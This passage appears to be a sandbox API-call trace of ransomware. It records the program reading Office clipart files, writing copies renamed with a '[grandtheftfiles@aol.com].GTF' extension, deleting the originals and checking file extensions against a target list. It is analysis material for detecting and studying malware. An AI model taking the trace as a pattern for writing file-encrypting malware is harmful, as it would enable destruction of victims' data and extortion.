	[0086.639] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x4a7c, lpOverlapped=0x0) returned 1
	[0086.641] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4a80, lpOverlapped=0x0) returned 1
	[0086.642] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.642] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.642] SetEndOfFile (hFile=0x37c) returned 1
	[0086.642] CloseHandle (hObject=0x37c) returned 1
	[0086.642] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.642] SetEndOfFile (hFile=0x390) returned 1
	[0086.643] CloseHandle (hObject=0x390) returned 1
	[0086.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1
	[0086.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.643] lstrlenW (lpString=".doc") returned 4
	[0086.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString=".docx") returned 5
	[0086.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.644] lstrlenW (lpString=".pdf") returned 4
	[0086.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString=".xls") returned 4
	[0086.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.644] lstrlenW (lpString=".xlsx") returned 5
	[0086.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.644] lstrlenW (lpString=".ppt") returned 4
	[0086.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.644] lstrlenW (lpString=".zip") returned 4
	[0086.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.644] lstrlenW (lpString=".rar") returned 4
	[0086.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString=".bz2") returned 4
	[0086.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString=".7z") returned 3
	[0086.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.644] lstrlenW (lpString=".dbf") returned 4
	[0086.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.644] lstrlenW (lpString=".1cd") returned 4
	[0086.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.644] lstrlenW (lpString=".jpg") returned 4
	[0086.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.644] lstrlenW (lpString=".doc") returned 4
	[0086.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.644] lstrlenW (lpString=".docx") returned 5
	[0086.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.644] lstrlenW (lpString=".pdf") returned 4
	[0086.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.645] lstrlenW (lpString=".xls") returned 4
	[0086.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.645] lstrlenW (lpString=".xlsx") returned 5
	[0086.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.645] lstrlenW (lpString=".ppt") returned 4
	[0086.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.645] lstrlenW (lpString=".zip") returned 4
	[0086.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.645] lstrlenW (lpString=".rar") returned 4
	[0086.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.645] lstrlenW (lpString=".bz2") returned 4
	[0086.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.645] lstrlenW (lpString=".7z") returned 3
	[0086.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.645] lstrlenW (lpString=".dbf") returned 4
	[0086.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.645] lstrlenW (lpString=".1cd") returned 4
	[0086.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0086.645] lstrlenW (lpString=".jpg") returned 4
	[0086.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.645] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.645] lstrlenW (lpString="DD01629_.WMF") returned 12
	[0086.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.647] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=580) returned 1
	[0086.647] CloseHandle (hObject=0x390) returned 1
	[0086.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220
	[0086.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.647] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.647] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.648] GetLastError () returned 0x0
	[0086.648] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x244, lpOverlapped=0x0) returned 1
	[0086.649] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x250, lpOverlapped=0x0) returned 1
	[0086.649] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.650] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.650] SetEndOfFile (hFile=0x37c) returned 1
	[0086.650] CloseHandle (hObject=0x37c) returned 1
	[0086.650] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.650] SetEndOfFile (hFile=0x390) returned 1
	[0086.651] CloseHandle (hObject=0x390) returned 1
	[0086.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.651] lstrlenW (lpString=".doc") returned 4
	[0086.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString=".docx") returned 5
	[0086.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.651] lstrlenW (lpString=".pdf") returned 4
	[0086.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString=".xls") returned 4
	[0086.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.651] lstrlenW (lpString=".xlsx") returned 5
	[0086.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.651] lstrlenW (lpString=".ppt") returned 4
	[0086.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.652] lstrlenW (lpString=".zip") returned 4
	[0086.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.652] lstrlenW (lpString=".rar") returned 4
	[0086.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString=".bz2") returned 4
	[0086.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString=".7z") returned 3
	[0086.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.652] lstrlenW (lpString=".dbf") returned 4
	[0086.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.652] lstrlenW (lpString=".1cd") returned 4
	[0086.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.652] lstrlenW (lpString=".jpg") returned 4
	[0086.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.652] lstrlenW (lpString=".doc") returned 4
	[0086.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString=".docx") returned 5
	[0086.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.652] lstrlenW (lpString=".pdf") returned 4
	[0086.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString=".xls") returned 4
	[0086.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.652] lstrlenW (lpString=".xlsx") returned 5
	[0086.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.652] lstrlenW (lpString=".ppt") returned 4
	[0086.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.653] lstrlenW (lpString=".zip") returned 4
	[0086.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.653] lstrlenW (lpString=".rar") returned 4
	[0086.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.653] lstrlenW (lpString=".bz2") returned 4
	[0086.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.653] lstrlenW (lpString=".7z") returned 3
	[0086.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.653] lstrlenW (lpString=".dbf") returned 4
	[0086.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.653] lstrlenW (lpString=".1cd") returned 4
	[0086.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.653] lstrlenW (lpString=".jpg") returned 4
	[0086.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.653] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.653] lstrlenW (lpString="DD01630_.WMF") returned 12
	[0086.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.653] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=296) returned 1
	[0086.653] CloseHandle (hObject=0x390) returned 1
	[0086.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220
	[0086.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.654] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.654] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.654] GetLastError () returned 0x0
	[0086.654] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x128, lpOverlapped=0x0) returned 1
	[0086.656] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x130, lpOverlapped=0x0) returned 1
	[0086.656] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.656] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.681] SetEndOfFile (hFile=0x37c) returned 1
	[0086.681] CloseHandle (hObject=0x37c) returned 1
	[0086.682] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.682] SetEndOfFile (hFile=0x390) returned 1
	[0086.682] CloseHandle (hObject=0x390) returned 1
	[0086.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.937] lstrlenW (lpString=".doc") returned 4
	[0086.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString=".docx") returned 5
	[0086.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.937] lstrlenW (lpString=".pdf") returned 4
	[0086.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString=".xls") returned 4
	[0086.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.937] lstrlenW (lpString=".xlsx") returned 5
	[0086.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.937] lstrlenW (lpString=".ppt") returned 4
	[0086.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.937] lstrlenW (lpString=".zip") returned 4
	[0086.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.937] lstrlenW (lpString=".rar") returned 4
	[0086.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString=".bz2") returned 4
	[0086.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString=".7z") returned 3
	[0086.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.937] lstrlenW (lpString=".dbf") returned 4
	[0086.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.937] lstrlenW (lpString=".1cd") returned 4
	[0086.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.937] lstrlenW (lpString=".jpg") returned 4
	[0086.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.938] lstrlenW (lpString=".doc") returned 4
	[0086.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.938] lstrlenW (lpString=".docx") returned 5
	[0086.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.938] lstrlenW (lpString=".pdf") returned 4
	[0086.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.938] lstrlenW (lpString=".xls") returned 4
	[0086.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.938] lstrlenW (lpString=".xlsx") returned 5
	[0086.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.938] lstrlenW (lpString=".ppt") returned 4
	[0086.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.938] lstrlenW (lpString=".zip") returned 4
	[0086.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.938] lstrlenW (lpString=".rar") returned 4
	[0086.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.938] lstrlenW (lpString=".bz2") returned 4
	[0086.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.938] lstrlenW (lpString=".7z") returned 3
	[0086.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.938] lstrlenW (lpString=".dbf") returned 4
	[0086.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.938] lstrlenW (lpString=".1cd") returned 4
	[0086.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.938] lstrlenW (lpString=".jpg") returned 4
	[0086.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.938] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.939] lstrlenW (lpString="FD00074_.WMF") returned 12
	[0086.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.037] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=17850) returned 1
	[0087.037] CloseHandle (hObject=0x378) returned 1
	[0087.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220
	[0087.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.040] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.040] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
